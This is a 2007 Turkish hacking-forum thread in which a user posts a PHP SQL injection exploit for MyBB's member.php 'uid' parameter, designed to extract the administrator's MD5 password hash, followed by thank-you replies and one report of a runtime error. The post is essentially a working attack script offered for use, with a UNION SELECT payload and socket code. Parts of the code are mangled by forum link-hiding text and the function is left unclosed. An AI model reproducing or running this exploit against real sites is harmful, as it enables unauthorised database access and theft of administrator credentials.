PDA

Orijinalini görmek için tıklayınız

eXTReMe Tracker
: MyBB Forum Exploit


by_casus
04-23-2007, 12:52 AM
MyBB Forum Exploit
Seviye:
Orta

Etki:
SQL Injection

Alan:
Uzak Erişim

Açıklama:
MyBB, php ve mysql ile geliştirilen güçlü bir forum uygulamasıdır. Form verilerinin yetersiz kontrolü sonucu sql komutu çalıştırmak mümkün. "member.php" dosyasının aldığı "uid" yeterince kontrol edilmiyor.

Örnek:
Aşağıdaki kod kullanılarak admin şifresinin MD5 hali ele geçirilebilir.

Code:

<?php

echo 'Pass:' . get_pass('Sitedeki Linkleri Sadece Üyelerimiz Görebilir..', '/mybb', '');

function get_pass($host, $path, $dbprefix) {
$query[] = 'uid=' . urlencode ("1' UNION SELECT 10000, 200, password AS type FROM {$dbprefix}users WHERE uid=1 ORDER BY uid DESC/*");

$query = implode('&', $query);

$header = "POST $path/member.php?action=avatar Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Host: $host\r\n";
$header .= "Content-Type: application/x-Sitedeki Linkleri Sadece Üyelerimiz Görebilir..";
$header .= "Content-Length: " . strlen($query) . "\r\n\r\n";

$fp = fsockopen($host, 80, $errno, $errstr, 30);
fwrite($fp, $header . $query);

$html = '';
while (!feof($fp)) {
$tmp = fgets($fp, 1024);
$html.= $tmp;
}
fclose($fp);

preg_match('/\: ([a-z0-9]{32})/i', $html, $matches);
if (empty($matches[1]) && empty($dbprefix)) {
preg_match('#FROM (\w+)avatars WHERE#i', $html, $matches);
$dbprefix = $matches[1];
if (empty($dbprefix)) {
return 'Unable to obtain password';
}
$password = get_pass($host, $path, $dbprefix);
}
else {
$password = $matches[1];
}

return $password;

AngstloS
04-23-2007, 03:31 PM
güzel bi paylasim teşekkür ederim ;)

Enc0deR
04-23-2007, 03:31 PM
sağol güzel paylaşım

danger32
04-24-2007, 04:29 PM
sağol guzel paylasım olmus

_artis.artis_
04-24-2007, 09:25 PM
sağol

TiGeR
04-24-2007, 09:26 PM
emege saygııı

sanalvirus
04-25-2007, 01:01 PM
Teşekkur Ederim Saol

by_casus
05-01-2007, 10:43 PM
bişey deil

StaRkoLiK
05-02-2007, 02:11 AM
GüZeL PaYLaŞıM SaoL..

arcger
05-03-2007, 07:14 PM
Unterminated <> operator at .... exploit.pl line1 diye hata veriyor kardeş kodlarına tekrar bakar
mısın

byözgür
06-14-2007, 04:02 AM
saol..tşk

MÜŞFİCK
06-14-2007, 04:07 AM
sağolsın paylaşım için...

klineci
09-12-2007, 06:43 PM
eline saglik